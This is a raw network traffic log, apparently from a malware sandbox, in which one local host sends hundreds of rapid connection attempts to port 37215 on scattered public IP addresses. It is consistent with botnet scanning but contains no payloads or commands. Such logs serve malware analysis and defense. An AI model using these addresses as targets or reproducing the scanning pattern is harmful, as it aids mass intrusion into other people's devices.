Dec 30, 2023 07:14:08.445774078 CET	3641	37215	192.168.2.23	41.68.191.142
Dec 30, 2023 07:14:08.445781946 CET	3641	37215	192.168.2.23	190.242.112.191
Dec 30, 2023 07:14:08.445800066 CET	3641	37215	192.168.2.23	156.221.31.255
Dec 30, 2023 07:14:08.445801973 CET	3641	37215	192.168.2.23	197.76.208.217
Dec 30, 2023 07:14:08.445806026 CET	3641	37215	192.168.2.23	41.13.216.175
Dec 30, 2023 07:14:08.445808887 CET	3641	37215	192.168.2.23	157.234.229.218
Dec 30, 2023 07:14:08.445808887 CET	3641	37215	192.168.2.23	222.125.230.193
Dec 30, 2023 07:14:08.445808887 CET	3641	37215	192.168.2.23	156.52.250.199
Dec 30, 2023 07:14:08.445811033 CET	3641	37215	192.168.2.23	190.20.70.45
Dec 30, 2023 07:14:08.445813894 CET	3641	37215	192.168.2.23	197.138.78.252
Dec 30, 2023 07:14:08.445816040 CET	3641	37215	192.168.2.23	197.82.216.253
Dec 30, 2023 07:14:08.445831060 CET	3641	37215	192.168.2.23	197.235.94.32
Dec 30, 2023 07:14:08.445832014 CET	3641	37215	192.168.2.23	222.148.20.28
Dec 30, 2023 07:14:08.445833921 CET	3641	37215	192.168.2.23	138.131.168.127
Dec 30, 2023 07:14:08.445836067 CET	3641	37215	192.168.2.23	197.198.111.23
Dec 30, 2023 07:14:08.445841074 CET	3641	37215	192.168.2.23	197.171.140.178
Dec 30, 2023 07:14:08.445857048 CET	3641	37215	192.168.2.23	154.77.93.117
Dec 30, 2023 07:14:08.445858002 CET	3641	37215	192.168.2.23	45.200.147.49
Dec 30, 2023 07:14:08.445863008 CET	3641	37215	192.168.2.23	197.21.37.187
Dec 30, 2023 07:14:08.445878983 CET	3641	37215	192.168.2.23	121.9.80.54
Dec 30, 2023 07:14:08.445878983 CET	3641	37215	192.168.2.23	197.214.27.224
Dec 30, 2023 07:14:08.445882082 CET	3641	37215	192.168.2.23	156.27.88.68
Dec 30, 2023 07:14:08.445882082 CET	3641	37215	192.168.2.23	156.135.10.204
Dec 30, 2023 07:14:08.445882082 CET	3641	37215	192.168.2.23	156.141.229.160
Dec 30, 2023 07:14:08.445883989 CET	3641	37215	192.168.2.23	197.241.160.247
Dec 30, 2023 07:14:08.445884943 CET	3641	37215	192.168.2.23	156.218.180.10
Dec 30, 2023 07:14:08.445887089 CET	3641	37215	192.168.2.23	197.174.141.144
Dec 30, 2023 07:14:08.445904970 CET	3641	37215	192.168.2.23	196.125.238.89
Dec 30, 2023 07:14:08.445905924 CET	3641	37215	192.168.2.23	154.104.171.96
Dec 30, 2023 07:14:08.445907116 CET	3641	37215	192.168.2.23	197.103.234.105
Dec 30, 2023 07:14:08.445918083 CET	3641	37215	192.168.2.23	156.99.86.235
Dec 30, 2023 07:14:08.445918083 CET	3641	37215	192.168.2.23	156.51.106.167
Dec 30, 2023 07:14:08.445924044 CET	3641	37215	192.168.2.23	156.145.69.116
Dec 30, 2023 07:14:08.445930958 CET	3641	37215	192.168.2.23	222.204.227.47
Dec 30, 2023 07:14:08.445930958 CET	3641	37215	192.168.2.23	197.25.159.251
Dec 30, 2023 07:14:08.445933104 CET	3641	37215	192.168.2.23	197.30.136.168
Dec 30, 2023 07:14:08.445946932 CET	3641	37215	192.168.2.23	156.172.162.73
Dec 30, 2023 07:14:08.445947886 CET	3641	37215	192.168.2.23	41.165.59.255
Dec 30, 2023 07:14:08.445947886 CET	3641	37215	192.168.2.23	156.100.97.201
Dec 30, 2023 07:14:08.445950985 CET	3641	37215	192.168.2.23	156.87.8.100
Dec 30, 2023 07:14:08.445965052 CET	3641	37215	192.168.2.23	41.35.62.35
Dec 30, 2023 07:14:08.445971012 CET	3641	37215	192.168.2.23	41.35.142.12
Dec 30, 2023 07:14:08.445971966 CET	3641	37215	192.168.2.23	156.2.19.48
Dec 30, 2023 07:14:08.445972919 CET	3641	37215	192.168.2.23	156.196.108.25
Dec 30, 2023 07:14:08.445972919 CET	3641	37215	192.168.2.23	121.191.146.255
Dec 30, 2023 07:14:08.445974112 CET	3641	37215	192.168.2.23	190.106.225.11
Dec 30, 2023 07:14:08.445974112 CET	3641	37215	192.168.2.23	156.101.39.50
Dec 30, 2023 07:14:08.455411911 CET	57784	37215	192.168.2.23	156.73.147.174
Dec 30, 2023 07:14:08.455424070 CET	44392	37215	192.168.2.23	156.73.246.171
Dec 30, 2023 07:14:08.538301945 CET	37215	3641	102.26.215.45	192.168.2.23
Dec 30, 2023 07:14:08.597706079 CET	37215	3641	156.19.227.226	192.168.2.23
Dec 30, 2023 07:14:08.673130989 CET	37215	3641	190.110.49.65	192.168.2.23
Dec 30, 2023 07:14:08.738909960 CET	37215	3641	197.42.181.10	192.168.2.23
Dec 30, 2023 07:14:08.748476982 CET	37215	3641	121.136.130.213	192.168.2.23
Dec 30, 2023 07:14:08.852143049 CET	37215	3641	102.22.92.196	192.168.2.23
Dec 30, 2023 07:14:08.892762899 CET	37215	3641	41.175.14.9	192.168.2.23
Dec 30, 2023 07:14:08.905051947 CET	37215	3641	197.9.15.169	192.168.2.23
Dec 30, 2023 07:14:09.063700914 CET	37215	3641	197.4.46.29	192.168.2.23
Dec 30, 2023 07:14:09.447038889 CET	3641	37215	192.168.2.23	197.167.232.164
Dec 30, 2023 07:14:09.447042942 CET	3641	37215	192.168.2.23	156.235.17.83
Dec 30, 2023 07:14:09.447040081 CET	3641	37215	192.168.2.23	41.67.229.167
Dec 30, 2023 07:14:09.447050095 CET	3641	37215	192.168.2.23	197.197.124.78
Dec 30, 2023 07:14:09.447052956 CET	3641	37215	192.168.2.23	41.107.91.88
Dec 30, 2023 07:14:09.447066069 CET	3641	37215	192.168.2.23	156.43.120.169
Dec 30, 2023 07:14:09.447067022 CET	3641	37215	192.168.2.23	156.62.142.83
Dec 30, 2023 07:14:09.447072029 CET	3641	37215	192.168.2.23	41.147.67.244
Dec 30, 2023 07:14:09.447078943 CET	3641	37215	192.168.2.23	156.106.108.185
Dec 30, 2023 07:14:09.447078943 CET	3641	37215	192.168.2.23	138.177.80.6
Dec 30, 2023 07:14:09.447084904 CET	3641	37215	192.168.2.23	156.248.165.13
Dec 30, 2023 07:14:09.447088003 CET	3641	37215	192.168.2.23	41.216.252.14
Dec 30, 2023 07:14:09.447088957 CET	3641	37215	192.168.2.23	186.185.91.43
Dec 30, 2023 07:14:09.447088957 CET	3641	37215	192.168.2.23	107.141.152.146
Dec 30, 2023 07:14:09.447092056 CET	3641	37215	192.168.2.23	181.77.112.231
Dec 30, 2023 07:14:09.447102070 CET	3641	37215	192.168.2.23	41.192.60.140
Dec 30, 2023 07:14:09.447103977 CET	3641	37215	192.168.2.23	156.244.153.8
Dec 30, 2023 07:14:09.447114944 CET	3641	37215	192.168.2.23	156.224.91.181
Dec 30, 2023 07:14:09.447117090 CET	3641	37215	192.168.2.23	186.25.122.247
Dec 30, 2023 07:14:09.447119951 CET	3641	37215	192.168.2.23	156.146.127.73
Dec 30, 2023 07:14:09.447119951 CET	3641	37215	192.168.2.23	41.215.196.187
Dec 30, 2023 07:14:09.447119951 CET	3641	37215	192.168.2.23	41.62.124.186
Dec 30, 2023 07:14:09.447134972 CET	3641	37215	192.168.2.23	41.60.28.34
Dec 30, 2023 07:14:09.447139978 CET	3641	37215	192.168.2.23	156.106.23.98
Dec 30, 2023 07:14:09.447144985 CET	3641	37215	192.168.2.23	197.100.9.100
Dec 30, 2023 07:14:09.447146893 CET	3641	37215	192.168.2.23	41.194.15.236
Dec 30, 2023 07:14:09.447158098 CET	3641	37215	192.168.2.23	156.211.26.239
Dec 30, 2023 07:14:09.447160006 CET	3641	37215	192.168.2.23	197.132.200.198
Dec 30, 2023 07:14:09.447163105 CET	3641	37215	192.168.2.23	157.197.208.228
Dec 30, 2023 07:14:09.447163105 CET	3641	37215	192.168.2.23	160.29.167.15
Dec 30, 2023 07:14:09.447163105 CET	3641	37215	192.168.2.23	190.136.182.96
Dec 30, 2023 07:14:09.447163105 CET	3641	37215	192.168.2.23	45.10.51.30
Dec 30, 2023 07:14:09.447170973 CET	3641	37215	192.168.2.23	181.179.96.91
Dec 30, 2023 07:14:09.447174072 CET	3641	37215	192.168.2.23	156.145.230.155
Dec 30, 2023 07:14:09.447179079 CET	3641	37215	192.168.2.23	92.22.59.20
Dec 30, 2023 07:14:09.447179079 CET	3641	37215	192.168.2.23	41.105.249.224
Dec 30, 2023 07:14:09.447191000 CET	3641	37215	192.168.2.23	197.33.27.77
Dec 30, 2023 07:14:09.447196960 CET	3641	37215	192.168.2.23	197.104.144.15
Dec 30, 2023 07:14:09.447197914 CET	3641	37215	192.168.2.23	197.180.176.232
Dec 30, 2023 07:14:09.447212934 CET	3641	37215	192.168.2.23	156.2.9.2
Dec 30, 2023 07:14:09.447215080 CET	3641	37215	192.168.2.23	107.221.28.235
Dec 30, 2023 07:14:09.447215080 CET	3641	37215	192.168.2.23	102.155.12.205
Dec 30, 2023 07:14:09.447215080 CET	3641	37215	192.168.2.23	41.138.248.79
Dec 30, 2023 07:14:09.447223902 CET	3641	37215	192.168.2.23	95.157.146.139
Dec 30, 2023 07:14:09.447226048 CET	3641	37215	192.168.2.23	41.25.160.235
Dec 30, 2023 07:14:09.447226048 CET	3641	37215	192.168.2.23	186.45.134.10
Dec 30, 2023 07:14:09.447227001 CET	3641	37215	192.168.2.23	154.146.253.35
Dec 30, 2023 07:14:09.447230101 CET	3641	37215	192.168.2.23	41.75.72.121
Dec 30, 2023 07:14:09.447230101 CET	3641	37215	192.168.2.23	197.71.184.223
Dec 30, 2023 07:14:09.447232008 CET	3641	37215	192.168.2.23	190.20.164.85
Dec 30, 2023 07:14:09.447243929 CET	3641	37215	192.168.2.23	45.88.12.30
Dec 30, 2023 07:14:09.447249889 CET	3641	37215	192.168.2.23	197.244.7.247
Dec 30, 2023 07:14:09.447251081 CET	3641	37215	192.168.2.23	156.143.208.232
Dec 30, 2023 07:14:09.447253942 CET	3641	37215	192.168.2.23	197.253.148.3
Dec 30, 2023 07:14:09.447258949 CET	3641	37215	192.168.2.23	41.193.162.205
Dec 30, 2023 07:14:09.447272062 CET	3641	37215	192.168.2.23	156.151.223.172
Dec 30, 2023 07:14:09.447276115 CET	3641	37215	192.168.2.23	156.212.98.237
Dec 30, 2023 07:14:09.447276115 CET	3641	37215	192.168.2.23	197.27.192.43
Dec 30, 2023 07:14:09.447283983 CET	3641	37215	192.168.2.23	41.149.26.165
Dec 30, 2023 07:14:09.447284937 CET	3641	37215	192.168.2.23	197.42.74.167
Dec 30, 2023 07:14:09.447284937 CET	3641	37215	192.168.2.23	95.52.76.18
Dec 30, 2023 07:14:09.447294950 CET	3641	37215	192.168.2.23	120.177.182.49
Dec 30, 2023 07:14:09.447294950 CET	3641	37215	192.168.2.23	37.84.130.35
Dec 30, 2023 07:14:09.447300911 CET	3641	37215	192.168.2.23	156.94.239.243
Dec 30, 2023 07:14:09.447300911 CET	3641	37215	192.168.2.23	41.187.244.48
Dec 30, 2023 07:14:09.447308064 CET	3641	37215	192.168.2.23	41.235.100.111
Dec 30, 2023 07:14:09.447308064 CET	3641	37215	192.168.2.23	41.125.143.181
Dec 30, 2023 07:14:09.447308064 CET	3641	37215	192.168.2.23	156.129.47.151
Dec 30, 2023 07:14:09.447313070 CET	3641	37215	192.168.2.23	41.8.62.45
Dec 30, 2023 07:14:09.447325945 CET	3641	37215	192.168.2.23	156.173.12.246
Dec 30, 2023 07:14:09.447329044 CET	3641	37215	192.168.2.23	156.244.170.101
Dec 30, 2023 07:14:09.447329044 CET	3641	37215	192.168.2.23	41.144.47.255
Dec 30, 2023 07:14:09.447329044 CET	3641	37215	192.168.2.23	122.32.199.249
Dec 30, 2023 07:14:09.447329998 CET	3641	37215	192.168.2.23	154.125.79.219
Dec 30, 2023 07:14:09.447329998 CET	3641	37215	192.168.2.23	41.240.12.25
Dec 30, 2023 07:14:09.447339058 CET	3641	37215	192.168.2.23	41.48.27.178
Dec 30, 2023 07:14:09.447339058 CET	3641	37215	192.168.2.23	156.22.111.188
Dec 30, 2023 07:14:09.447344065 CET	3641	37215	192.168.2.23	41.117.206.107
Dec 30, 2023 07:14:09.447354078 CET	3641	37215	192.168.2.23	156.158.55.243
Dec 30, 2023 07:14:09.447364092 CET	3641	37215	192.168.2.23	197.198.191.43
Dec 30, 2023 07:14:09.447364092 CET	3641	37215	192.168.2.23	156.219.172.220
Dec 30, 2023 07:14:09.447365999 CET	3641	37215	192.168.2.23	197.229.52.104
Dec 30, 2023 07:14:09.447365999 CET	3641	37215	192.168.2.23	37.160.252.123
Dec 30, 2023 07:14:09.447366953 CET	3641	37215	192.168.2.23	197.194.38.6
Dec 30, 2023 07:14:09.447365999 CET	3641	37215	192.168.2.23	197.100.79.9
Dec 30, 2023 07:14:09.447379112 CET	3641	37215	192.168.2.23	45.128.216.118
Dec 30, 2023 07:14:09.447379112 CET	3641	37215	192.168.2.23	197.27.61.93
Dec 30, 2023 07:14:09.447391987 CET	3641	37215	192.168.2.23	41.118.79.33
Dec 30, 2023 07:14:09.447402954 CET	3641	37215	192.168.2.23	37.238.155.97
Dec 30, 2023 07:14:09.447402954 CET	3641	37215	192.168.2.23	41.60.254.98
Dec 30, 2023 07:14:09.447412968 CET	3641	37215	192.168.2.23	156.232.158.158
Dec 30, 2023 07:14:09.447412968 CET	3641	37215	192.168.2.23	156.233.236.1
Dec 30, 2023 07:14:09.447417021 CET	3641	37215	192.168.2.23	197.231.254.6
Dec 30, 2023 07:14:09.447421074 CET	3641	37215	192.168.2.23	197.162.247.165
Dec 30, 2023 07:14:09.447421074 CET	3641	37215	192.168.2.23	41.178.133.35
Dec 30, 2023 07:14:09.447423935 CET	3641	37215	192.168.2.23	156.205.221.127
Dec 30, 2023 07:14:09.447426081 CET	3641	37215	192.168.2.23	156.162.187.250
Dec 30, 2023 07:14:09.447426081 CET	3641	37215	192.168.2.23	156.202.252.36
Dec 30, 2023 07:14:09.447427988 CET	3641	37215	192.168.2.23	122.187.209.31
Dec 30, 2023 07:14:09.447432995 CET	3641	37215	192.168.2.23	197.242.186.110
Dec 30, 2023 07:14:09.447438002 CET	3641	37215	192.168.2.23	197.242.97.254
Dec 30, 2023 07:14:09.447438002 CET	3641	37215	192.168.2.23	102.60.109.162
Dec 30, 2023 07:14:09.447439909 CET	3641	37215	192.168.2.23	37.23.73.87
Dec 30, 2023 07:14:09.447439909 CET	3641	37215	192.168.2.23	190.105.10.48
Dec 30, 2023 07:14:09.447439909 CET	3641	37215	192.168.2.23	156.60.252.146
Dec 30, 2023 07:14:09.447441101 CET	3641	37215	192.168.2.23	190.190.183.145
Dec 30, 2023 07:14:09.447453976 CET	3641	37215	192.168.2.23	157.114.95.103
Dec 30, 2023 07:14:09.447459936 CET	3641	37215	192.168.2.23	156.98.170.103
Dec 30, 2023 07:14:09.447459936 CET	3641	37215	192.168.2.23	154.113.195.252
Dec 30, 2023 07:14:09.447468996 CET	3641	37215	192.168.2.23	186.210.125.20
Dec 30, 2023 07:14:09.447479963 CET	3641	37215	192.168.2.23	107.145.212.173
Dec 30, 2023 07:14:09.447479963 CET	3641	37215	192.168.2.23	95.18.199.193
Dec 30, 2023 07:14:09.447479963 CET	3641	37215	192.168.2.23	197.106.74.237
Dec 30, 2023 07:14:09.447479963 CET	3641	37215	192.168.2.23	197.69.223.159
Dec 30, 2023 07:14:09.447495937 CET	3641	37215	192.168.2.23	122.29.160.89
Dec 30, 2023 07:14:09.447495937 CET	3641	37215	192.168.2.23	41.20.135.185
Dec 30, 2023 07:14:09.447499990 CET	3641	37215	192.168.2.23	41.15.194.44
Dec 30, 2023 07:14:09.447511911 CET	3641	37215	192.168.2.23	156.56.107.118
Dec 30, 2023 07:14:09.447513103 CET	3641	37215	192.168.2.23	197.116.224.100
Dec 30, 2023 07:14:09.447515965 CET	3641	37215	192.168.2.23	41.184.166.32
Dec 30, 2023 07:14:09.447515965 CET	3641	37215	192.168.2.23	156.191.174.203
Dec 30, 2023 07:14:09.447521925 CET	3641	37215	192.168.2.23	156.51.214.198
Dec 30, 2023 07:14:09.447521925 CET	3641	37215	192.168.2.23	156.17.67.1
Dec 30, 2023 07:14:09.447525024 CET	3641	37215	192.168.2.23	156.41.91.107
Dec 30, 2023 07:14:09.447525024 CET	3641	37215	192.168.2.23	197.249.53.18
Dec 30, 2023 07:14:09.447542906 CET	3641	37215	192.168.2.23	120.124.60.122
Dec 30, 2023 07:14:09.447544098 CET	3641	37215	192.168.2.23	95.87.39.170
Dec 30, 2023 07:14:09.447544098 CET	3641	37215	192.168.2.23	156.63.138.211
Dec 30, 2023 07:14:09.447546959 CET	3641	37215	192.168.2.23	197.81.204.19
Dec 30, 2023 07:14:09.447550058 CET	3641	37215	192.168.2.23	156.140.39.159
Dec 30, 2023 07:14:09.447561026 CET	3641	37215	192.168.2.23	41.98.232.46
Dec 30, 2023 07:14:09.447565079 CET	3641	37215	192.168.2.23	41.202.225.230
Dec 30, 2023 07:14:09.447567940 CET	3641	37215	192.168.2.23	197.183.187.25
Dec 30, 2023 07:14:09.447570086 CET	3641	37215	192.168.2.23	41.80.158.144
Dec 30, 2023 07:14:09.447570086 CET	3641	37215	192.168.2.23	197.251.249.234
Dec 30, 2023 07:14:09.447582960 CET	3641	37215	192.168.2.23	92.103.15.109
Dec 30, 2023 07:14:09.447583914 CET	3641	37215	192.168.2.23	197.52.208.116
Dec 30, 2023 07:14:09.447583914 CET	3641	37215	192.168.2.23	45.98.45.156
Dec 30, 2023 07:14:09.447590113 CET	3641	37215	192.168.2.23	196.201.111.39
Dec 30, 2023 07:14:09.447597027 CET	3641	37215	192.168.2.23	41.238.30.149
Dec 30, 2023 07:14:09.447597027 CET	3641	37215	192.168.2.23	196.186.173.68
Dec 30, 2023 07:14:09.447607994 CET	3641	37215	192.168.2.23	197.173.230.253
Dec 30, 2023 07:14:09.447608948 CET	3641	37215	192.168.2.23	122.192.87.63
Dec 30, 2023 07:14:09.447612047 CET	3641	37215	192.168.2.23	156.152.146.170
Dec 30, 2023 07:14:09.447618008 CET	3641	37215	192.168.2.23	120.18.66.200
Dec 30, 2023 07:14:09.447618008 CET	3641	37215	192.168.2.23	102.220.66.171
Dec 30, 2023 07:14:09.447629929 CET	3641	37215	192.168.2.23	156.191.28.213
Dec 30, 2023 07:14:09.447629929 CET	3641	37215	192.168.2.23	41.91.214.46
Dec 30, 2023 07:14:09.447638988 CET	3641	37215	192.168.2.23	37.17.244.124
Dec 30, 2023 07:14:09.447642088 CET	3641	37215	192.168.2.23	107.155.214.209
Dec 30, 2023 07:14:09.447642088 CET	3641	37215	192.168.2.23	156.25.3.210
Dec 30, 2023 07:14:09.447649956 CET	3641	37215	192.168.2.23	156.165.64.230
Dec 30, 2023 07:14:09.447652102 CET	3641	37215	192.168.2.23	197.133.160.104
Dec 30, 2023 07:14:09.447662115 CET	3641	37215	192.168.2.23	197.97.219.46
Dec 30, 2023 07:14:09.447668076 CET	3641	37215	192.168.2.23	138.165.159.37
Dec 30, 2023 07:14:09.447669983 CET	3641	37215	192.168.2.23	156.231.4.59
Dec 30, 2023 07:14:09.447669983 CET	3641	37215	192.168.2.23	197.165.79.71
Dec 30, 2023 07:14:09.447669983 CET	3641	37215	192.168.2.23	107.158.206.110
Dec 30, 2023 07:14:09.447673082 CET	3641	37215	192.168.2.23	156.147.150.134
Dec 30, 2023 07:14:09.447680950 CET	3641	37215	192.168.2.23	197.206.214.59
Dec 30, 2023 07:14:09.447683096 CET	3641	37215	192.168.2.23	41.41.163.165
Dec 30, 2023 07:14:09.447684050 CET	3641	37215	192.168.2.23	41.64.233.254
Dec 30, 2023 07:14:09.447685003 CET	3641	37215	192.168.2.23	186.52.175.105
Dec 30, 2023 07:14:09.447694063 CET	3641	37215	192.168.2.23	157.241.57.240
Dec 30, 2023 07:14:09.447695017 CET	3641	37215	192.168.2.23	156.247.221.30
Dec 30, 2023 07:14:09.447705030 CET	3641	37215	192.168.2.23	197.16.52.29
Dec 30, 2023 07:14:09.447715998 CET	3641	37215	192.168.2.23	41.105.89.174
Dec 30, 2023 07:14:09.447715998 CET	3641	37215	192.168.2.23	95.174.213.69
Dec 30, 2023 07:14:09.447717905 CET	3641	37215	192.168.2.23	197.94.127.46
Dec 30, 2023 07:14:09.447717905 CET	3641	37215	192.168.2.23	41.73.140.177
Dec 30, 2023 07:14:09.447721004 CET	3641	37215	192.168.2.23	107.227.43.21
Dec 30, 2023 07:14:09.447734118 CET	3641	37215	192.168.2.23	37.205.146.195
Dec 30, 2023 07:14:09.447737932 CET	3641	37215	192.168.2.23	41.247.140.206
Dec 30, 2023 07:14:09.447738886 CET	3641	37215	192.168.2.23	41.43.138.139
Dec 30, 2023 07:14:09.447741985 CET	3641	37215	192.168.2.23	41.230.71.222
Dec 30, 2023 07:14:09.447742939 CET	3641	37215	192.168.2.23	94.77.213.162
Dec 30, 2023 07:14:09.447742939 CET	3641	37215	192.168.2.23	107.240.210.3
Dec 30, 2023 07:14:09.447747946 CET	3641	37215	192.168.2.23	197.246.4.100
Dec 30, 2023 07:14:09.447763920 CET	3641	37215	192.168.2.23	41.136.230.230
Dec 30, 2023 07:14:09.447765112 CET	3641	37215	192.168.2.23	160.103.22.6
Dec 30, 2023 07:14:09.447773933 CET	3641	37215	192.168.2.23	41.12.175.243
Dec 30, 2023 07:14:09.447773933 CET	3641	37215	192.168.2.23	41.179.179.10
Dec 30, 2023 07:14:09.447792053 CET	3641	37215	192.168.2.23	156.171.40.52
Dec 30, 2023 07:14:09.447792053 CET	3641	37215	192.168.2.23	156.71.22.128
Dec 30, 2023 07:14:09.447794914 CET	3641	37215	192.168.2.23	197.174.156.49
Dec 30, 2023 07:14:09.447794914 CET	3641	37215	192.168.2.23	95.113.90.3
Dec 30, 2023 07:14:09.447808981 CET	3641	37215	192.168.2.23	95.242.215.136
Dec 30, 2023 07:14:09.447810888 CET	3641	37215	192.168.2.23	41.89.165.1
Dec 30, 2023 07:14:09.447812080 CET	3641	37215	192.168.2.23	92.80.221.192
Dec 30, 2023 07:14:09.447824955 CET	3641	37215	192.168.2.23	186.188.37.35
Dec 30, 2023 07:14:09.447837114 CET	3641	37215	192.168.2.23	197.20.19.173
Dec 30, 2023 07:14:09.447837114 CET	3641	37215	192.168.2.23	186.4.172.38
Dec 30, 2023 07:14:09.447844982 CET	3641	37215	192.168.2.23	197.99.224.118
Dec 30, 2023 07:14:09.447859049 CET	3641	37215	192.168.2.23	41.127.181.81
Dec 30, 2023 07:14:09.447859049 CET	3641	37215	192.168.2.23	222.95.29.225
Dec 30, 2023 07:14:09.447859049 CET	3641	37215	192.168.2.23	186.25.237.48
Dec 30, 2023 07:14:09.447877884 CET	3641	37215	192.168.2.23	41.161.19.9
Dec 30, 2023 07:14:09.447879076 CET	3641	37215	192.168.2.23	122.91.64.143
Dec 30, 2023 07:14:09.447880030 CET	3641	37215	192.168.2.23	156.13.165.103
Dec 30, 2023 07:14:09.447890043 CET	3641	37215	192.168.2.23	156.135.235.122
Dec 30, 2023 07:14:09.447890043 CET	3641	37215	192.168.2.23	197.221.80.239
Dec 30, 2023 07:14:09.447911024 CET	3641	37215	192.168.2.23	156.232.33.160
Dec 30, 2023 07:14:09.447911978 CET	3641	37215	192.168.2.23	160.127.104.243
Dec 30, 2023 07:14:09.447916031 CET	3641	37215	192.168.2.23	197.102.171.30
Dec 30, 2023 07:14:09.447918892 CET	3641	37215	192.168.2.23	121.232.109.190
Dec 30, 2023 07:14:09.447923899 CET	3641	37215	192.168.2.23	157.33.134.204
Dec 30, 2023 07:14:09.447926998 CET	3641	37215	192.168.2.23	197.238.114.152
Dec 30, 2023 07:14:09.447933912 CET	3641	37215	192.168.2.23	41.42.66.63
Dec 30, 2023 07:14:09.447940111 CET	3641	37215	192.168.2.23	41.66.64.166
Dec 30, 2023 07:14:09.447953939 CET	3641	37215	192.168.2.23	156.67.38.107
Dec 30, 2023 07:14:09.447956085 CET	3641	37215	192.168.2.23	41.204.242.128
Dec 30, 2023 07:14:09.447959900 CET	3641	37215	192.168.2.23	197.58.116.148
Dec 30, 2023 07:14:09.447962999 CET	3641	37215	192.168.2.23	156.245.66.68
Dec 30, 2023 07:14:09.447971106 CET	3641	37215	192.168.2.23	41.51.43.227
Dec 30, 2023 07:14:09.447973967 CET	3641	37215	192.168.2.23	156.8.9.200
Dec 30, 2023 07:14:09.447987080 CET	3641	37215	192.168.2.23	41.201.138.150
Dec 30, 2023 07:14:09.447994947 CET	3641	37215	192.168.2.23	181.210.150.227
Dec 30, 2023 07:14:09.448004961 CET	3641	37215	192.168.2.23	197.94.152.62
Dec 30, 2023 07:14:09.448010921 CET	3641	37215	192.168.2.23	156.235.46.147
Dec 30, 2023 07:14:09.448010921 CET	3641	37215	192.168.2.23	156.158.214.76
Dec 30, 2023 07:14:09.448010921 CET	3641	37215	192.168.2.23	95.238.133.55
Dec 30, 2023 07:14:09.448013067 CET	3641	37215	192.168.2.23	197.131.71.144
Dec 30, 2023 07:14:09.448026896 CET	3641	37215	192.168.2.23	41.95.102.153
Dec 30, 2023 07:14:09.448036909 CET	3641	37215	192.168.2.23	156.152.113.163
Dec 30, 2023 07:14:09.448040009 CET	3641	37215	192.168.2.23	196.92.150.199
Dec 30, 2023 07:14:09.448044062 CET	3641	37215	192.168.2.23	181.116.222.5
Dec 30, 2023 07:14:09.448049068 CET	3641	37215	192.168.2.23	121.129.27.194
Dec 30, 2023 07:14:09.448056936 CET	3641	37215	192.168.2.23	157.59.115.160
Dec 30, 2023 07:14:09.448056936 CET	3641	37215	192.168.2.23	197.21.70.106
Dec 30, 2023 07:14:09.448060989 CET	3641	37215	192.168.2.23	197.210.254.58
Dec 30, 2023 07:14:09.448070049 CET	3641	37215	192.168.2.23	41.58.242.142
Dec 30, 2023 07:14:09.448072910 CET	3641	37215	192.168.2.23	181.132.11.138
Dec 30, 2023 07:14:09.448076010 CET	3641	37215	192.168.2.23	160.123.131.146
Dec 30, 2023 07:14:09.448090076 CET	3641	37215	192.168.2.23	190.42.153.41
Dec 30, 2023 07:14:09.448092937 CET	3641	37215	192.168.2.23	92.59.163.156
Dec 30, 2023 07:14:09.448092937 CET	3641	37215	192.168.2.23	196.115.253.163
Dec 30, 2023 07:14:09.448092937 CET	3641	37215	192.168.2.23	41.19.82.40
Dec 30, 2023 07:14:09.448096991 CET	3641	37215	192.168.2.23	197.166.197.176
Dec 30, 2023 07:14:09.448101997 CET	3641	37215	192.168.2.23	156.159.51.180
Dec 30, 2023 07:14:09.448103905 CET	3641	37215	192.168.2.23	197.195.245.231
Dec 30, 2023 07:14:09.448103905 CET	3641	37215	192.168.2.23	41.71.119.233
Dec 30, 2023 07:14:09.448105097 CET	3641	37215	192.168.2.23	94.109.237.211
Dec 30, 2023 07:14:09.448121071 CET	3641	37215	192.168.2.23	41.139.36.59
Dec 30, 2023 07:14:09.448121071 CET	3641	37215	192.168.2.23	156.223.161.176
Dec 30, 2023 07:14:09.448121071 CET	3641	37215	192.168.2.23	92.130.120.207
Dec 30, 2023 07:14:09.448126078 CET	3641	37215	192.168.2.23	41.207.251.31
Dec 30, 2023 07:14:09.448136091 CET	3641	37215	192.168.2.23	156.72.141.249
Dec 30, 2023 07:14:09.448137045 CET	3641	37215	192.168.2.23	197.35.69.41
Dec 30, 2023 07:14:09.448143959 CET	3641	37215	192.168.2.23	190.196.69.41
Dec 30, 2023 07:14:09.448151112 CET	3641	37215	192.168.2.23	107.169.177.175
Dec 30, 2023 07:14:09.448152065 CET	3641	37215	192.168.2.23	156.1.141.47
Dec 30, 2023 07:14:09.448152065 CET	3641	37215	192.168.2.23	41.42.111.173
Dec 30, 2023 07:14:09.448153019 CET	3641	37215	192.168.2.23	156.98.212.8
Dec 30, 2023 07:14:09.448158026 CET	3641	37215	192.168.2.23	102.206.172.127
Dec 30, 2023 07:14:09.448167086 CET	3641	37215	192.168.2.23	41.62.115.62
Dec 30, 2023 07:14:09.448180914 CET	3641	37215	192.168.2.23	186.198.218.8
Dec 30, 2023 07:14:09.448184967 CET	3641	37215	192.168.2.23	197.118.120.104
Dec 30, 2023 07:14:09.448180914 CET	3641	37215	192.168.2.23	41.41.167.186
Dec 30, 2023 07:14:09.448184967 CET	3641	37215	192.168.2.23	107.222.119.194
Dec 30, 2023 07:14:09.448194027 CET	3641	37215	192.168.2.23	95.232.105.143
Dec 30, 2023 07:14:09.448198080 CET	3641	37215	192.168.2.23	122.44.30.212
Dec 30, 2023 07:14:09.448199034 CET	3641	37215	192.168.2.23	157.49.192.227
Dec 30, 2023 07:14:09.448203087 CET	3641	37215	192.168.2.23	41.223.220.218
Dec 30, 2023 07:14:09.448203087 CET	3641	37215	192.168.2.23	160.212.123.154
Dec 30, 2023 07:14:09.448204994 CET	3641	37215	192.168.2.23	197.150.136.186
Dec 30, 2023 07:14:09.448205948 CET	3641	37215	192.168.2.23	156.106.104.196
Dec 30, 2023 07:14:09.448219061 CET	3641	37215	192.168.2.23	41.219.35.59
Dec 30, 2023 07:14:09.448224068 CET	3641	37215	192.168.2.23	197.128.7.46
Dec 30, 2023 07:14:09.448224068 CET	3641	37215	192.168.2.23	156.60.45.222
Dec 30, 2023 07:14:09.448225021 CET	3641	37215	192.168.2.23	41.222.172.84
Dec 30, 2023 07:14:09.448239088 CET	3641	37215	192.168.2.23	190.82.84.97
Dec 30, 2023 07:14:09.448239088 CET	3641	37215	192.168.2.23	41.48.109.84
Dec 30, 2023 07:14:09.448239088 CET	3641	37215	192.168.2.23	41.16.133.9
Dec 30, 2023 07:14:09.448245049 CET	3641	37215	192.168.2.23	41.168.165.110
Dec 30, 2023 07:14:09.448249102 CET	3641	37215	192.168.2.23	156.89.168.174
